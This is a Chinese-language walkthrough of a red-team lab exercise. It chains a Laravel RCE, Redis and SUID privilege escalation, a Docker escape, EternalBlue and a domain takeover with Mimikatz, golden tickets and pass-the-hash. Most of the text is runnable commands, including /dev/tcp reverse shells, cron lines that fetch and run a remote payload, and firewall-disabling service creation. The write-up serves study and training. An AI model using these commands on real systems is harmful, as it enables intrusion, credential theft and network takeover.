ATT&CK实战系列-红队评估(七)学习记录
字数 1456 2025-08-12 11:34:25
ATT&CK实战系列-红队评估(七)教学文档
1. 初始信息收集与漏洞利用
1.1 Laravel漏洞利用
- 尝试利用Laravel调试模式导致的信息泄露漏洞
- 使用Goby扫描发现两个关键漏洞:
- Laravel远程代码执行(RCE)
- Redis未授权访问
1.2 反弹Shell建立
- 攻击机(Kali)监听端口:
nc -lvp 8065 - 通过Goby执行反弹Shell命令:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1' - 获取到jobs用户权限(后续发现是web2的docker容器)
2. 权限提升技术
2.1 查找SUID文件提权
- 查找具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null - 发现/home/jobs下存在名为shell的可疑高权限文件
- 提权步骤:
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/jobs ./shell
2.2 Redis提权
- 前提条件:Redis以root权限运行
- 提权步骤:
- 生成SSH公钥文件并上传至web1-redis的shell键中
- 修改Redis备份目录为/root/.ssh并修改保存文件名
- 通过SSH连接目标:
ssh 192.168.0.130 - 信息收集发现DMZ主机权限,内网为192.168.52.1/24网段
3. Docker逃逸技术
3.1 特权模式逃逸
- 利用条件:容器以特权模式(--privileged)启动
- 逃逸步骤:
fdisk -l # 查看磁盘文件 mkdir /hack # 新建挂载目录 ls /dev # 查看设备文件 mount /dev/sda1 /hack # 挂载宿主机磁盘 ls /hack # 验证挂载成功
3.2 逃逸后提权方法
-
写入公钥文件:
- 在/hack/home/ubuntu/.ssh目录下写入公钥文件
- 使用web1生成的公钥内容
-
写入计划任务:
- 方法A(使用MSF):
echo 'wget -qO 9Q18YaP8 --no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod +x 9Q18YaP8; ./9Q18YaP8& disown' >> /hack/var/spool/cron/crontabs/root - 方法B(反弹Shell):
echo 'bash -i >& /dev/tcp/192.168.0.133/1233 0>&1' >> /hack/var/spool/cron/root
- 方法A(使用MSF):
3.3 Linux内核提权(CVE-2021-3493)
- 使用公开的EXP:https://github.com/briskets/CVE-2021-3493
- 操作步骤:
touch exploit.c # 创建EXP文件 # 将EXP内容写入文件 gcc exploit.c -o exploit # 编译 ./exploit # 执行提权
4. 内网渗透技术
4.1 内网探测
-
MSF上线:
use exploit/multi/script/web_delivery set target 7 set lhost 192.168.0.133 set payload linux/x64/meterpreter/reverse_tcp run -
Fscan探测:
- 上传fscan工具到目标/tmp目录
- 执行扫描:
./fscan_amd64 -h 192.168.52.1/24
-
MSF路由添加:
- 自动添加路由:
run post/multi/manage/autoroute - 手动添加路由:
route add 192.168.52.0 255.255.255.0 route print
- 自动添加路由:
4.2 内网穿透(EW工具)
-
第一层穿透(攻击机->Web1):
- 攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234 - 靶机(Web1):
nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &
- 攻击机:
-
第二层穿透(Web1->PC1):
- 攻击机:
./ew_for_linux64 -s lcx_listen -l 1090 -e 9998 - PC1:
ew_for_Win.exe -s ssocksd -l 999 - Web1:
./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999
- 攻击机:
4.3 横向移动技术
-
MS17-010(永恒之蓝):
setg Proxies socks5:127.0.0.1:1090 use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.93.40 set payload windows/x64/meterpreter/bind_tcp run -
密码抓取(Mimikatz):
privilege::debug sekurlsa::logonPasswords -
域控防火墙关闭:
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator" sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall -
计划任务执行:
net time \\192.168.93.30 schtasks /create /s \\192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:\smb_8888.exe /sc once /st 14:59 -
Psexec模块利用:
use exploit/windows/smb/psexec set rhosts 192.168.93.30 set SMBUser Administrator set SMBPass Whoami2021 set payload windows/meterpreter/bind_tcp
5. 域渗透技术
5.1 黄金票据制作
-
提取域控信息:
lsadump::dcsync /user:krbtgt- 获取SID和NTLM hash
-
制作黄金票据:
kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi -
加载票据:
kerberos::ptt administrator.kiribi
5.2 哈希传递攻击
sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec
6. 总结与网络拓扑
6.1 网络层次结构
-
Web1(第一层):
- IP: 192.168.0.130和192.168.52.10
- 通过Redis公钥提权获得
-
Web2(第二层):
- IP: 192.168.52.20和192.168.93.10
- 通过Larvel-RCE反弹Shell提权到root
- Docker逃逸后写公钥进行SSH连接
-
PC1(第三层):
- IP: 192.168.52.30和192.168.93.20
- 通过内网穿透和永恒之蓝攻击获取
-
DC(域控):
- IP: 192.168.93.30
- 通过黄金票据和哈希传递攻击获取
-
PC2:
- IP: 192.168.93.40
- 通过永恒之蓝攻击获取
6.2 关键工具列表
- Goby:漏洞扫描
- Netcat:反弹Shell
- EW:内网穿透
- Mimikatz:密码抓取和哈希传递
- MSFVenom:木马生成
- Fscan:内网扫描
- CVE-2021-3493 EXP:Linux内核提权